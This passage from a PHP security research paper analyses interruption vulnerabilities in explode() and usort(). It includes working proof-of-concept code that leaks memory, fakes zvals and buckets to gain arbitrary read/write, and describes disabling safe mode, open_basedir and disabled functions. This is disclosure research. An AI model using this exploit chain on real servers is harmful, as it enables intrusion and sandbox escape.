9      if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &array, &BG(user_compare_func_name)) == FAILURE) {
10         PHP_ARRAY_CMP_FUNC_RESTORE();
11         WRONG_PARAM_COUNT;
12     }
13
14     target_hash = HASH_OF(*array);
15     if (!target_hash) {
16         php_error_docref(NULL TSRMLS_CC, E_WARNING, "The argument should be an array");
17         PHP_ARRAY_CMP_FUNC_RESTORE();
18         RETURN_FALSE;
19     }
20
21     PHP_ARRAY_CMP_FUNC_CHECK(BG(user_compare_func_name))
22     BG(user_compare_fci_cache).initialized = 0;
23
24     if (zend_hash_sort(target_hash, zend_qsort, array_user_compare, 1 TSRMLS_CC) == FAILURE) {
25         PHP_ARRAY_CMP_FUNC_RESTORE();
26         RETURN_FALSE;
27     }
28     PHP_ARRAY_CMP_FUNC_RESTORE();
29     RETURN_TRUE;
30 }
```

This function like the *explode()* function can be broken down into the same four components. Lines 9-12 define the "Parameter Retrieval" step where the array and the name of the user-space sorting function is copied into a local and a request global variable. Lines 14-19 form the "Parameter Checking and Conversion" step that basically verifies that the supplied array is indeed an array or an object that can be used as array. If not the function exits immediately. The remaining lines 21-29 combine the steps "Action" and "Returning the Result" which is either *TRUE* or *FALSE*. The real result is however that the supplied array is sorted.

The code does not use the *convert_to_XXX_ex()* macros and therefore is not vulnerable to the same attack as the *explode()* function. It does however call the *zend_hash_sort()* function and instructs it to call the *array_user_compare()* function which will call a user-space compare function during the sort. To understand how this is exploitable it is necessary to go deeper into the Zend Engine into the *zend_hash_sort()* function.

```
1  ZEND_API int zend_hash_sort(HashTable *ht, sort_func_t sort_func,
2                              compare_func_t compar, int renumber TSRMLS_DC)
3  {
4      Bucket **arTmp;
5      Bucket *p;
6      int i, j;
7
8      IS_CONSISTENT(ht);
9
10     if (!(ht->nNumOfElements>1) && !(renumber && ht->nNumOfElements>0)) { /* Doesn't require sorting */
11         return SUCCESS;
12     }
13     arTmp = (Bucket **) pemalloc(ht->nNumOfElements * sizeof(Bucket *), ht->persistent);
14     if (!arTmp) {
15         return FAILURE;
16     }
17     p = ht->pListHead;
18     i = 0;
19     while (p) {
20         arTmp[i] = p;
21         p = p->pListNext;
22         i++;
23     }
24
25     (*sort_func)((void *) arTmp, i, sizeof(Bucket *), compar TSRMLS_CC);
26
27     HANDLE_BLOCK_INTERRUPTIONS();
```

```
28      ht->pListHead = arTmp[0];
29      ht->pListTail = NULL;
30      ht->pInternalPointer = ht->pListHead;
31
32      arTmp[0]->pListLast = NULL;
33      if (i > 1) {
34          arTmp[0]->pListNext = arTmp[1];
35          for (j = 1; j < i-1; j++) {
36              arTmp[j]->pListLast = arTmp[j-1];
37              arTmp[j]->pListNext = arTmp[j+1];
38          }
39          arTmp[j]->pListLast = arTmp[j-1];
40          arTmp[j]->pListNext = NULL;
41      } else {
42          arTmp[0]->pListNext = NULL;
43      }
44      ht->pListTail = arTmp[i-1];
45
46      pefree(arTmp, ht->persistent);
47      HANDLE_UNBLOCK_INTERRUPTIONS();
48
49      if (renumber) {
50          p = ht->pListHead;
51          i=0;
52          while (p != NULL) {
53              p->nKeyLength = 0;
54              p->h = i++;
55              p = p->pListNext;
56          }
57          ht->nNextFreeElement = i;
58          zend_hash_rehash(ht);
59      }
60      return SUCCESS;
61  }
```

The function is quite long and complicated but can be broken down into five parts. The first part in lines 10-12 is a shortcut for empty or one element arrays, because they do not require sorting. The second part follows immediately in lines 13-23 and is the most interesting part of the function. It first allocates enough memory for pointers to all elements of the array and then fills it with pointers to each element of the array. The third part consists of line 25 only which calls the selected sorting function (*zend_qsort()*). It is important to realize that not the array is passed but the created list of pointers to all the elements. The fourth part of the function is between lines 27-47 and reconstructs the content of the PHP array from the sorted list of pointers. The last part of the function from line 49 onwards optionally renumbers the array.

The problem here is that only the list of array element pointers is sorted and not the array itself. Therefore it is possible for the user-space compare function to corrupt memory by deleting elements from the array. Once the sorting process is finished the resulting array is reconstructed from the sorted pointer list that still contains a pointer to the already removed array element. Because of this the returned array will contain pointers to already freed memory. In section 5.2 we will discuss how this can be used to add fake buckets into an array.

5 Exploiting Interruptions

In this section we want to demonstrate how the previously discussed interruption vulnerabilities in *explode()* and *usort()* can be turned into pretty stable local exploits. We start with explaining how information about PHP variables and even arbitrary memory areas can be leaked and show how the memory corruption inside *usort()* is useable to create a PHP string variable that gives us raw access to PHP memory.

5.1 Exploiting explode()

The vulnerability in the *explode()* function was that once the parameter conversion is finished the function uses the *str* parameter as string although the conversion of the *delim* or *zlimit* parameter

could have triggered a user space error handler that forced *str* to be something else than a string. This sounds easy to exploit and it actually is. The following PHP code will demonstrate this.

```
<?php
  include_once("hexdump.php");

  function my_errorhandler($errno, $errormsg)
  {
    global $my_var;

    if (is_string($my_var)) {
      parse_str("2=9&254=2", $my_var);
    }

    return true;
  }

  $oldhandler = set_error_handler("my_errorhandler");
  $my_var = str_repeat("A", 64);
  $data = call_user_func_array("explode", array(new StdClass(), &$my_var, 1));
  restore_error_handler();

  hexdump($data[0]);
?>
```

In this example a user-space error handler is set up that checks if the global variable *my_var* is still a string. In case it is a string it uses the *parse_str()* function to overwrite *my_var* with a PHP array. Here *parse_str()* is used because it overwrites the variable in place. This means the original *zval* struct is reused. Just assigning an array to our variable would reallocate a new *zval* structure and therefore the string access in *explode()* would access already freed and most probably corrupted memory. This means by using *parse_str()* we ensure that *explode()* will access the array *zval* as if it were a string. Because of the internal structure of *zval* the HashTable pointer of an array variable is at the same position as the string value pointer. Therefore the string *explode()* believes to work on is actually the content of the HashTable. At the same time the string length field is not used in an array variable and it is not reset when the variable is overwritten.

The rest of the code does initialize the *my_var* variable as a string of length 64, which is long enough to hold a 32 bit HashTable, and calls *explode()*. The call to *explode()* is done via *call_user_func_array()* because we use the calltime-pass-by-reference feature for the second *str* parameter and do want the potential warning messages to be suppressed. The *delim* parameter is filled with an object to ensure that when it is internally converted to a string the user-space error handler is executed because a *StdClass* object cannot be converted to a string. The hex dump at the end of the script proves that the exploit actually worked because it does not contain a lot of "A" characters but the content of the HashTable.

```
Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 02 00 00 00 FF 00 00 00    ................
00000010: B8 5A 7B 00 B8 5A 7B 00 10 5B 7B 00 48 5A 7B 00    .Z{..Z{..[{.HZ{.
00000020: 7A 3E 26 00 00 00 01 00 29 00 00 00 31 00 00 00    z>&.....)...1...
00000030: 00 00 00 00 00 00 00 00 B8 5A 7B 00 00 00 00 00    .........Z{.....
```

From looking at the hex dump a number of facts about the system can be derived. Because a fresh HashTable will always start with the two ints 8 and 7 we know from this memory snippet that *sizeof(int)* is 4 and that the system is a little endian system. At the same time we know that the value 255 inside the HashTable is the next free element field and comes from the fact that the last numerical index we inserted via *parse_str()* was 254. From its position we can derive that *sizeof(long)* is also 4, otherwise the 255 would be aligned on an 8 byte boundary. By analyzing the 8 bytes after the next free element field the *sizeof(void *)* can be determined, which is also 4 in this case. This can be derived from the fact that the first 4 bytes are the same as the second 4 bytes. Once the

pointer size is known a number of pointers can be extracted from the HashTable. These are pointer to buckets at `0x7b5ab8` and `0x7b5b10`, a pointer to the bucket space at `0x7b5a48` and a pointer to the variable destructor at `0x263e7a`, which is a pointer into PHP's code segment.

While the previous example is already pretty useful we can construct a more powerful information leak exploit. By converting the string variable into an integer instead of an array it is possible to leak arbitrary memory areas. This is because the integer value is represented by a *long* inside the *zval* structure that is in the same position as the string value pointer. The only difference to the previous exploit is how to turn the string variable into an integer.

```
<?php
  include_once("hexdump.php");

  function my_errorhandler($errno, $errormsg)
  {
    global $my_var;

    if (is_string($my_var)) {
      $my_var += 0x263e7a;
    }

    return true;
  }

  $oldhandler = set_error_handler("my_errorhandler");
  $my_var = str_repeat("A", 64);
  $data = call_user_func_array("explode", array(new StdClass(), &$my_var, 1));
  restore_error_handler();

  hexdump($data[0]);
?>
```

Here a simple assign add operation was chosen to add the variable destructor pointer to the *my_var* variable. Internally this will result in a string to integer conversion with a value of 0 followed by an add operation that adjusts the value of the integer to the value of the variable destructor pointer. Because of the implementation of the assign add opcode in PHP the overwrite will be performed in place. Similar to the string to array overwrite the string length will be untouched. When this script is executed *explode()* will return the first 64 bytes of the variable destructor code.

```
Hexdump
-------
00000000: 55 89 E5 83 EC 18 89 75 FC 8B 75 08 89 5D F8 E8    U......u..u..]..
00000010: 00 00 00 00 5B 8B 06 FF 48 08 8B 16 8B 42 08 85    ....[...H....B..
00000020: C0 75 2A 80 7A 0C 03 76 0A 89 14 24 E8 C1 B6 00    .u*.z..v...$....
00000030: 00 8B 16 8B 83 EA E1 41 00 3B 50 14 74 2B 89 55    .......A.;P.t+.U
```

Even without a disassembler it is possible to recognize the x86 function prologue by looking at the first three bytes of the code `55 89 E5`. This means if it is required it is actually possible to detect the processor type used by leaking a few bytes of the code segment and analyzing it. On the other hand we are not limited to leak data from the code segment only. By adjusting the pointer inside the exploit we can leak as much content from anywhere in memory.

The leak-arbitrary-memory exploit has however one problem. On systems where *sizeof(long)* is not equal to *sizeof(void *)* the method will fail, because it is not possible to control the full pointer. While the majority of systems that run PHP is not affected by this, newer PHP installations might run on 64 bit Windows where this problem exists. During our experiments we therefore tried to overwrite the pointer with other variable types like floating point values, but the result was that this will not always work, because not all pointers are valid floating point numbers.

By combining the *explode()* array information leak with the *usort()* memory corruption exploit and storing fake buckets and fake PHP variables in array keys instead of PHP strings it is possible

to get around the 64 bit Windows problem. Because PHP on 64 bit Windows is very rare, we skip the description of this exploitation path in this version of the paper. We will however add it to a later version of our paper.

5.2 Exploiting usort()

Before we discuss how to combine the information leak *explode()* exploit with the *usort()* memory corruption exploit, we first take a closer look at triggering the *usort()* vulnerability. Unlike the previously discussed vulnerability the *usort()* exploit does not rely on PHP features that might be removed in future versions of PHP. The interruption vulnerability itself is caused by the execution of a user-space comparison function that manipulates the to be sorted array. Therefore triggering just the memory corruption to provoke a crash is pretty straight forward as the following code example shows.

```
<?php
  function usercompare($a, $b)
  {
    global $arr;

    if (isset($arr[2])) {
      unset($arr[2]);
    }
    return 0;
  }

  $arr = array(0 => "AAAAAAAAAAAAAAAAAA",
               1 => "BBBBBBBBBBBBBBBBBB",
               2 => "CCCCCCCCCCCCCCCCCC",
               3 => "DDDDDDDDDDDDDDDDDD");
  @ usort($arr, "usercompare");
?>
```

In this example code a user-space comparison function is checking if the global array variable still contains an element with the index 2 and if so it removes this entry from the array. This user-space comparison function is then triggered by a call to *usort()* on a global array variable that is initialized with some dummy strings. When executed the proof of concept code will crash within the user-space comparison function, because the freed element is immediately reused and therefore the string value pointers are trashed. The backtrace of the crash looks like the following example.

```
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000001
0x0029083a in zend_assign_to_variable_reference ()
(gdb) bt
0  0x0029083a in zend_assign_to_variable_reference ()
1  0x002dedeb in ZEND_ASSIGN_REF_SPEC_CV_VAR_HANDLER ()
2  0x0028b9dc in execute ()
3  0x00265f53 in zend_call_function ()
4  0x001b36af in array_user_compare ()
5  0x00281a9f in zend_qsort ()
6  0x00279b19 in zend_hash_sort ()
7  0x001ac1ab in zif_usort ()
8  0x0028dd48 in zend_do_fcall_common_helper_SPEC ()
9  0x0028b9dc in execute ()
10 0x00270504 in zend_execute_scripts ()
11 0x0022f5f2 in php_execute_script ()
12 0x002f5eca in main ()
```

To actually do something useful with this memory corruption vulnerability the user-space comparison function needs to create a fake HashTable bucket that contains a pointer to a fake PHP variable. Our fake PHP variable of choice is a PHP string variable that roots anywhere we want e.g. at `0x00000000` and is as long as we want (max. 2GB). With such a variable it becomes possible to read and write arbitrary memory locations. Creating such a variable in a portable way is however

only possible in combination with information leaks. Therefore the exploit development continues in section 5.3.

5.3 Combining the Exploits

To create a stable and portable exploit for the *usort()* interruption vulnerability it is necessary to have information about the size of integers, long values and pointers and about the endianess of the system. In addition to that valid memory pointers are required to create the fake HashTable buckets and the fake PHP variables. Luckily this is all information that can be leaked by the *explode()* information leak exploit. In this section we want to demonstrate how a stable *usort()* exploit can be developed, therefore we first introduce some helper functions that are using the information gathered by the information leak exploit to handle the platform independence for us.

- to_short(), to_int(), to_long(), to_ptr()
- align_int(&$ptr), align_long(&$ptr), align_ptr(&$ptr), align(&$ptr, $aln)
- stralign_int(&$str), stralign_long(&$str), stralign_ptr(&$str), stralign(&$str, $aln)
- parse_ht(&$ht), parse_bucket(&$bucket)
- read_int($ptr), read_long($ptr), read_ptr($ptr), read_mem($ptr, $len)
- leak_array($arr)
- clearcache()

The *to_XXX()* functions convert numerical values into a platform dependent string format that can be written directly into memory. When they are called with already a string as parameter they just cut it down to the right size. The *align_XXX* functions are used to align a pointer on an int, long, ptr or arbitrary boundary. This is required to write several PHP structures that contain holes. The *stralign_XXX* functions enlarge a string so that appended data will be aligned. The *parse_ht()* and the *parse_bucket()* functions will return PHP arrays that contains the structure elements of a HashTable or Bucket. The *read_XXX* functions are just wrappers around the information leak exploit that read arbitrary memory. The *clearcache* function just allocates memory blocks of size 1 to 200 to ensure that the memory manager cache contains free slots.

The first step in creating the exploit is to prepare a fake PHP string variable. To achieve that we create a PHP version dependent *zval* structure. Basically there are the three different cases PHP 4, PHP 5 < 5.1.0 and PHP 5 >= 5.1.0

```
<?php
  $fake_zval  = to_ptr(0x00000000);
  $fake_zval .= to_int(0x7fffffff);
  stralign($fake_zval, 2 * $sizeof_ptr);
  if (PHP_VERSION >= "5.0.0") {
    $fake_zval .= to_int(1);
    $fake_zval .= (PHP_VERSION >= "5.1.0") ? "\x06" : "\x03";
    $fake_zval .= "\x00";
  } else {
    $fake_zval .= "\x03\x00";
    $fake_zval .= to_short(1);
    $fake_zval .= "\x00";
  }
?>
```

The next step is to leak an array that contains a pointer to itself and the fake PHP *zval* structure. From there it is just a matter of traversing through the pointer chains to get the address of our fake *zval* structure.

```
<?php
  function my_new_errorhandler($errno, $errormsg)
  {
    global $fake_zval, $my_var;
    if (is_string($my_var)) {
      parse_str("", $my_var);
      $my_var[0] = &$my_var;
      $my_var[1] = $fake_zval;
    }
    return true;
  }

  $oldhandler = set_error_handler("my_new_errorhandler");
  $my_var = str_repeat("A", 128);
  $data = call_user_func_array("explode", array(new StdClass(), &$my_var, 1));
  restore_error_handler();

  $ht = read_ht($data[0]);
  $bucket = read_bucket(read_mem(read_ptr($ht['arBuckets'] + $sizeof_ptr * 1), 128));
  $fz_ptr_ptr = read_ptr($bucket['pDataPtr']);
  $fz_ptr = $fz_ptr_ptr + $sizeof_ptr;

  $temp = to_ptr($fz_ptr);
  for ($i=0; $i<$sizeof_ptr; $i++) { $my_var[1][$i] = $temp[$i]; }

  hexdump(read_mem($fz_ptr_ptr, 32));
?>
```

When the above piece of code is executed a hex dump of our fake *zval* structure is echoed which proves that we found the right pointer. With this pointer it is now possible to build a fake HashTable bucket.

```
<?php
  $fake_bucket  = to_long(2);
  $fake_bucket .= to_int(0);
  stralign_ptr($fake_bucket);
  $fake_bucket .= to_ptr($fz_ptr_ptr);
  $fake_bucket .= to_ptr(12345678);
  $fake_bucket .= to_ptr(12345678);
  $fake_bucket .= to_ptr(12345678);
  $fake_bucket .= to_ptr(12345678);
  $fake_bucket .= to_ptr(12345678);
?>
```

Now we can trigger the *usort()* memory corruption exploit and replace an array bucket with our own in order to have full control over the memory. There are two important things to watch out for. First of all we have to ensure that the deleted Bucket is inserted into the memory managers free memory cache. This only happens if the maximum cache size is not used. Therefore we just allocate memory. The other thing we have to be careful with is that we need to create some dummy variables with long names to ensure that the function calling us does not crash.

```
<?php
  function usercompare($a, $b)
  {
    global $arr, $fake_bucket;

    if (isset($arr[2])) {
      clearcache();
      unset($arr[2]);
      $GLOBALS['_____________________________________________________________']=1;
      $GLOBALS['_____________________________________X_____________________']=2;
      $GLOBALS['X____________________________________________________________'].=$fake_bucket;
    }
    return 0;
  }

  $arr = array(0 => "AAAAAAAAAAAAAAAAAA",
               1 => "BBBBBBBBBBBBBBBBBB",
               2 => "CCCCCCCCCCCCCCCCCC",
               3 => "DDDDDDDDDDDDDDDDDD");
  @ usort($arr, "usercompare");
  $memory = &$arr[1];
?>
```

With this construct we now have full read and write access to the memory area 0x00000000-0x7fffffff by accessing the characters of the $memory variable directly. If we require access to other memory we can simply adjust the base pointer of the string by manipulating $myvar[1][$sizeof_ptr]-$myvar[1][$sizeof_ptr*2-1]. However when we execute this script it will crash the PHP interpreter on request cleanup because we inserted variables into the request memory that are not properly linked. Because this is not acceptable for a stable exploit we will work around this by nulling out the destructor pointer of the $my_var array. Keep in mind that a more compatible method should be chosen when writing to memory.

```
<?php
  - find the pointer to the HashTable itself
  $bucket = read_bucket(read_mem(read_ptr($ht['arBuckets']), 128));
  $ht_ptr = read_ptr($bucket['pDataPtr']);
  - hardcode the pDestructorOffset
  $pDestructorOffset = 32;
  - clear the pDestructor pointer
  for ($i=0; $i<$sizeof_ptr; $i++) $memory[$ht_ptr + $pDestructorOffset + $i] = "\x00";
  - move the array into the protected area
  $my_var[2] = &$arr;
?>
```

Now everything is ready to use the new exploit in order to disable many of those protections mentioned in section 2.

6 Defeating Protections

In this section we will demonstrate how the newly created exploit can be used to disable a number of protections. In order to do that the first step is to find the executor_globals

6.1 Finding the executor_globals

When we started our research it was quite obvious that the most interesting data structure we wanted to get our hands on is the *executor_global* table, because it holds all the information required to disable things like safe mode or to reactivate disabled functions. The problem however was that it seemed impossible to find a portable way to find the *executor_global* in memory. The first problem is that depending on how PHP is compiled, with thread safety mode activated or not, the structure is either in the BSS segment or it is allocated on the heap for every PHP thread. This means there is no starting point from where a linear search was feasible. Even when it is stored in the BSS segment a linear scan from the leaked code segment pointer will result in a crash because of the linker RELRO protection that causes a hole in the memory. Another idea was to analyze and emulate the code in the leaked destructor pointer until it uses the *executor_global*. The problem with this approach is however that the method is nowhere near portable, that only some versions of PHP have a destructor that use the structure and finally that in case of a thread safe PHP there is no way to get into the fs: segment where the pointer to the structure is stored.

After a while we realized that there is a different far easier way to detect the location of the *executor_global* through the information leak vulnerability. The trick is that one of the first elements within the *executor_global* structure is the *uninitialized_zval*. This *zval* is used whenever an unitialized variable is used in PHP. So to find the *executor_globals* we just add an unitialized variable into our array and leak the address from there.

```
<?php
  @ $my_var[3] = $empty;
  $bucket = read_bucket(read_mem(read_ptr($ht['arBuckets'] + 3 * $sizeof_ptr), 128));
  $eg_ptr = $bucket['pDataPtr'];
?>
```

With the *executor_globals* as starting point it becomes all the PHP internal protections can be disabled easily.

6.2 Fixing INI Entries

To disable safe mode or open basedir restrictions it is enough to modify the corresponding INI entry. In order to do this it is required to access the *ini_directives* element in the *executor_globals*. Because the structure changed heavily over the years and depends on the operating system and system architecture a portable way to find the field requires a little trick. Luckily all those changes to the *executor_globals* never changed the fact that the element *lambda_count* is directly in front of the *ini_directives*. This *lambda_count* is an internal counter that is incremented by one every time the PHP function *create_function()* is executed. A simple algorithm to search the *ini_directives* is to start at the beginning of the *executor_globals* and check if the integer stored at that position changes after a call to *create_function()*. If it does not change then the pointer is increased and the search continue until the increasing *lambda_count* variable is found in memory. The pointer behind that is a pointer to the HashTable that contains all the known ini directives. We can then traverse the whole HashTable and change for every entry the *modifiable* field to `ZEND_INI_ALL`.

Afterwards it is possible to disable all internal security features that solely rely on ini settings via calls to *ini_set()*. This includes safe mode, open basedir restrictions, the *dl()* hardening features, the memory limit, the execution time limit and the suhosin function black- and whitelists. With the recently released PHP >= 5.3.0 an additional step is required to disable the *open_basedir* directive. Because *open_basedir* comes with its own on-modify handler it is required to overwrite this with the standard on-modify handler for strings. This means during traversal of the table of ini directives the on-modify handler of one directive that takes a string argument is remembered and written over the on-modify handler that is stored for the *open_basedir* directive.

6.3 Reactivating Disabled Functions

The *disable_functions* feature is more difficult to undo, because it completely removes the disabled functions from the function table. To reactivate these functions it is first necessary to find the function table from the pointer stored in the *executor_globals* structure. Then the table must be traversed and for every function that is disabled the original function definition must be found. In the last step the original function definition is written into the global function table to restore the function in question. To find the pointer to the function table a similar strategy can be used as with the ini directives. In front of the *function_table* element there are a number of elements that never changed their position in previous PHP versions. On of these fields is the *error_reporting* variable. We can search for this with a similar algorithm, but this time the *error_reporting()* function is used to change the value of the internal variable. Again it is possible to find this changing variable and from there the pointer to the function table is stored at a fixed offset.

To reactivate disabled functions it is required that at least one of the functions in the same extension is not disabled and therefore has an unchanged definition. This function is used as starting

point to find the original function definitions. In PHP prior to 5.2.0 a memory scan is required to find the original function definition. Therefore the pointer to the argument type descriptor or the argument info structure that is used by this entry in the function table is used as starting point. From there the memory is scanned for the combination of name and handler. Once the entry is found the start of the function definition table is searched and then every function in the table is checked against the function definition in the global function table. Were required the original handler and argument type descriptor or argument info structure is restored. In newer PHP versions the memory scan is not required, because each function table entry contains a pointer to the module structure. Within the module structure there is a pointer to the start of the original function definition table. From there the reconstruction works as if the table was found otherwise.

Once all disabled functions have been reactivated, all PHP internal protections have been disarmed. The injected PHP shellcode is now able to access arbitrary files, open sockets, execute shellcommands and in case of writable and executable directories arbitrary libraries can be dropped and executed.

6.4 ASLR, NX and mprotect()

The last security hardening features we want to discuss in the light of the new exploits are ASLR, NX and mprotect() hardening. From the nature of the exploits and the previously discussed solutions it should be very clear that ASLR is not a protection at all against the developed exploits. Due to the use of information leak vulnerabilities we know exactly where in memory our shellcode is, in case we want to execute it. The execution itself is also no problem because the function table and ini directive tables are both full of function pointers that we can modify in order to gain control. So on systems where NX is not correctly working like Mac OS X Leopard on the x86 platform we can simply inject shellcode into memory and execute it. On other systems we have to find means to circumvent the no-execute flags.

When NX actually works on the used platform there are still a number of tricks possible. First of all if there is any writable directory on an filesystem that is not mounted with the no-exec flag we can simply drop a shared library and load it. If that is not the case we can fall back to ret2mprotect attacks, where mprotect() is called to make executable memory writable again. This kind of attack actually works against SELinux but not against Grsecurity, because its mprotect() hardening is too strict. In SELinux e.g. you can make the code segment writable and executabel, copy the shellcode in there and execute it. If everything else fails we can still fall back to return-oriented-programming[26] or borrowed code chunks[28] techniques. To find the required code chunks or code gadgets scanning the code segment is possible. It is also possible to scan backward from the leaked code segment pointer until the ELF or PE file header is found. From there the import tables can be found and searched for references to other libraries. This is a possibility to find the system's C library.

One thing that one must not forget is that falling back to attacking ASLR, NX and mprotect() hardening is only required in case kernel security features are in place and we cannot use the features PHP provides by itself. In such a case the shellcode execution is required to launch a kernel exploit.

7 Conclusion

In this paper we tried to give a good overview over the different security hardening features an attacker will have to deal with once he succeeded in executing arbitrary PHP code. We gave an insight into some of PHP's most important internal structures in order to explain the class of user-space interruption vulnerabilities we are using for our research. We demonstrated how this class of vulnerabilities can be used to leak important information about the running system and how other incarnations of this vulnerability class result in memory corruption. We gave a step by step guidance how to exploit these vulnerabilities in a very stable way. Finally we gave an insight into how powerful these exploits are by explaining how they can be used to overcome the different kind of protections.

However this is only the beginning of our research, because valid countermeasures against this attack have yet to be developed. The first ideas to stop this kind of attack were all not sufficient to really solve the problem. Delaying the execution of user-space error handlers until internal functions have ended does only solve a part of the problem, the same is true for removing the calltime-pass-by-reference feature once and for all. There are still exploitation path that are not covered by this, like the *usort()* vulnerability. Fixing the PHP code to not have interruption vulnerabilities is also no short time solution, because many areas of the code would have to be checked. Aside from that there are only hacks that try to hinder the described exploitation paths by changing structures.

In addition to that we are currently elaborating ways that try to perform the attack without a single internal PHP function being executed until the protections are already defeated.

References

[1] PHP Documentation Team, "PHP: Safe Mode - Manual", PHP Documentation, http://www.php.net/manual/en/features.safe-mode.php

[2] PHP Documentation Team, "PHP: Security and Safe Mode - Manual", PHP Documentation, http://de.php.net/manual/en/ini.sect.safe-mode.php#ini.open-basedir

[3] Secunia, "Secunia Advisory Search for PHP + Safe Mode", Secunia Advisories, http://secunia.com/advisories/search/?search=PHP+safe+mode

[4] Secunia, "Secunia Advisory Search for PHP + Safe Mode + Curl", Secunia Advisories, http://secunia.com/advisories/search/?search=PHP+safe+mode+curl

[5] J. Dahse, "Safe mode bypass", http://bugs.php.net/bug.php?id=45997

[6] M. Arciemowicz, "tempnam() open_basedir bypass PHP 4.4.2 and 5.1.2", http://securityreason.com/achievement_securityalert/36

[7] M. Arciemowicz, "PHP 5.2.3, htaccess safemode and open_basedir Bypass", http://securityreason.com/achievement_securityalert/9

[8] S. Esser, "Month of PHP Bugs", http://www.php-security.org

[9] S. Esser, "PHP memory_limit remote vulnerability", e-matters Advisory 11/2004, http://www.hardened-php.net/advisory_em112004.100.html

[10] S. Esser, "PHP register_globals Activation Vulnerability in parse_str()", Hardened-PHP Advisory 19/2005, http://www.hardened-php.net/advisory_192005.78.html

[11] S. Esser, "What is Suhosin?", Suhosin Website, http://www.suhosin.org

[12] H. Etoh, "GCC extension for protecting applications from stack-smashing attacks", http://www.trl.ibm.com/projects/security/ssp/

[13] U. Drepper, "Security Enhancements in Redhat Enterprise Linux (beside SELinux)", 12/2005, http://people.redhat.com/drepper/nonselsec.pdf

[14] S. Esser, "E-mail introducing the safe unlink concept", 12/2003, http://archives.neohapsis.com/archives/bugtraq/2003-12/0014.html

[15] huku, "Yet another free() exploitation technique", Issue 66, Article 6, http://www.phrack.org/issues.html?issue=66&id=6

[16] blackngel, "MALLOC DES-MALEFICARUM", Issue 66, Article 10, http://www.phrack.org/issues.html?issue=66&id=10

[17] N. Provos, "Systrace - Interactive Police Generation for System Calls", http://www.citi.umich.edu/u/provos/systrace/

[18] Various Authors, "AppArmor Detail", 2009, http://en.opensuse.org/AppArmor_Detail

[19] B. Spengler, "PaX: The Guaranteed End of Arbitrary Code Execution", 2003, http://www.grsecurity.net/PaX-presentation_files/frame.htm

[20] The PaX Team, "PaX Documentation", 2003, http://pax.grsecurity.net/docs/pax.txt

[21] B. Spengler, "Grsecurity", http://www.grsecurity.net

[22] M. T. Jones, "Anatomy of Security-Enhanced Linux (SELinux) - Architecture and Implementation", 2008, http://www.ibm.com/developerworks/linux/library/l-selinux/

[23] The PaX Team, "PaX Documentation: ASLR", 2003, http://pax.grsecurity.net/docs/aslr.txt

[24] The PaX Team, "PaX Documentation: NOEXEC", 2003, http://pax.grsecurity.net/docs/noexec.txt

[25] Microsoft, "A detailed description of the Data Execution Prevention (DEP) feature in Windows XP Service Pack 2, Windows XP Tablet PC Edition 2005, and Windows Server 2003", 2006, http://support.microsoft.com/kb/875352

[26] H. Shacham, "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)", In Proceedings of CCS 2007, pages 552561, ACM Press, Oct. 2007, http://cseweb.ucsd.edu/ hovav/dist/geometry.pdf

[27] The PaX Team, "PaX Documentation: MPROTECT", 2003, http://pax.grsecurity.net/docs/mprotect.txt

[28] S. Krahmer, "x86-64 buffer overow exploits and the borrowed code chunks exploitation technique", 2005, http://www.suse.de/ krahmer/no-nx.pdf